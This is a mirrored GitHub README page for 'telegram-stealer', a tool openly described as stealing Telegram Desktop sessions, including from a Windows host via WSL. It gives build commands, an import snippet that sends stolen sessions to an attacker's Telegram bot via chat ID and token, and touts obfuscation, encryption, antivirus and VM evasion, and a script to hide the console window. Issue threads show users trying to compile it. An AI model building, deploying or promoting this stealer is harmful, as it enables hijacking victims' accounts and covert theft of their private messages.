Code Monkey home page Code Monkey logo

telegram-stealer's Introduction

Telegram Stealer

Steal Telegram Desktop sessions.

Check Waifu Stealer (Stealer builder: Discord, Telegram, Browsers, ...)

If the stealer is started inside WSL, it will get the Telegram Desktop sessions from its Windows host.

Note: If the target configured a local password in Telegram Desktop, the sessions will be encrypted, so you would need the password to unlock it.

Demo

https://youtu.be/3mKOwtCnwYw

Features

  • Steal Telegram Desktop sessions
  • Works on all platforms, including WSL (on WSL, the binary will get the sessions from its Windows host)
  • If Telegram Desktop is not in appData (i.e. portable installation), inspect the Telegram.exe running process to find its path (Windows or WSL only)
  • Source is highly obfuscated using javascript-obfuscator and encrypted with AES-256-GCM
  • Output binary is packaged to a single portable binary using pkg
  • Send sessions via Telegram using webhooks
  • Try to detect some anti-virus virtual machines to be FUD as long as possible

Build

Install dependencies

npm i -D
npm i -g pkg

Build

npm run build <chat_id> <bot_token>

# Create the stealer binary, choose target system and architecture
npm run pkg-windows
npm run pkg-linux
npm run pkg-linux-arm
npm run pkg-macos
npm run pkg-macos-arm

Run

Run the hello binary.

To hide the console window on a Windows machine, you can run the script using the provided VB script (see run_hidden_windows.vbs).

Include in your project

npm install https://github.com/rigwild/telegram-stealer.git
import { run as stealTelegram } from 'telegram-stealer'

type StealTelegram = ({
  telegramChatId: string,
  telegramToken: string,
  archivePassword?: string
}) => Promise<void>

await stealTelegram({
  telegramChatId: '1234567890',
  telegramToken: '12345678:EEExreg_CKLviTXNwTTfc-UdcStDOPfqFoMQ',
  archivePassword: 'rigwild/telegram-stealer'
})

Related projects

License

The MIT license

telegram-stealer's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

telegram-stealer's Issues

help

──(kali㉿kali)-[~/telegram-stealer-main]
└─$ npm run pkg-windows

pkg-windows
pkg --targets node18-win-x64 --compress GZip --output hello.exe .

[email protected]
compression: GZip
Error! Bin file does not exist (taken from package.json 'bin' property)
/home/kali/telegram-stealer-main/obfuscated/runner.js

┌──(kali㉿kali)-[~/telegram-stealer-main]
└─$

npm run pkg-windows

> npm run pkg-windows

> pkg-windows
> pkg --targets node18-win-x64 --compress GZip --output hello.exe obfuscated/runner.js

> [email protected]
compression:  GZip
> Error! Input file does not exist
  /Users/c0ny00/Desktop/77/telegram-stealer/obfuscated/runner.js

what happened, can't compile?
macos && webstorm

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.